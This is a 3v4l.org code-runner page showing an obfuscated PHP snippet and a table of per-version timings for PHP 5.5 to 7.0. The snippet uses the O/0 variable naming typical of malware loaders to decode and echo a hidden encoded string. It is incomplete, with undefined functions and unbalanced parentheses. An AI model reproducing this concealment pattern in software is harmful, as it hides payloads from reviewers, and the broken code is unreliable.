3v4l.org

run code in 300+ PHP versions simultaneously
<?php $O0O000="PxtDQqfzYahmwCvZNuBjLXsMUkIKJbHEWOgFyVASGiRnlTdcropeNFSBHDJkxUbKYCsEGXtfjIwqnhpAzgRlWVveoTymauLdiOrcPZQMNB9YURyGCuLKrWSFpB0vHCLJL0TnWorKrWSFz107paiKACLKrWSFpB09pCr0zoi7EWGZgobyEIEbgCvhI1tNn1Lgz2E1x2S5g3n0qkpFz10QAOSiMai0V30GCKTfUa8vxItQnKTFrWTkrCvQVY0AEdTXx3LQg24vxItQnKTFrWTkrCvQMY0ACWiKAlyhI0reTewdg3ydImy9Nmydx2bix2wdAH0ACHi7BHZzCmtoEIL1cK4vpKGsgK5ix3LDxK1srKTQc29PpfwGCvhzpaT4UIHZAOwGCvhvpCyvJH0AJH0ANk4="; echo $O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.0.10.0100.07020.08
7.0.00.0130.07320.25
5.6.160.0000.04320.61
5.6.150.0070.07318.29
5.6.140.0100.08018.24
5.6.130.0030.05018.23
5.6.120.0070.08021.12
5.6.110.0100.07720.99
5.6.100.0130.08021.13
5.6.90.0000.07721.01
5.6.80.0000.04320.40
5.5.300.0030.09018.00
5.5.290.0100.07317.98
5.5.280.0070.07320.96
5.5.270.0100.07020.83
5.5.260.0170.06720.64
5.5.250.0000.07720.68
5.5.240.0230.07020.26

preferences:
135.17 ms | 1394 KiB | 7 Q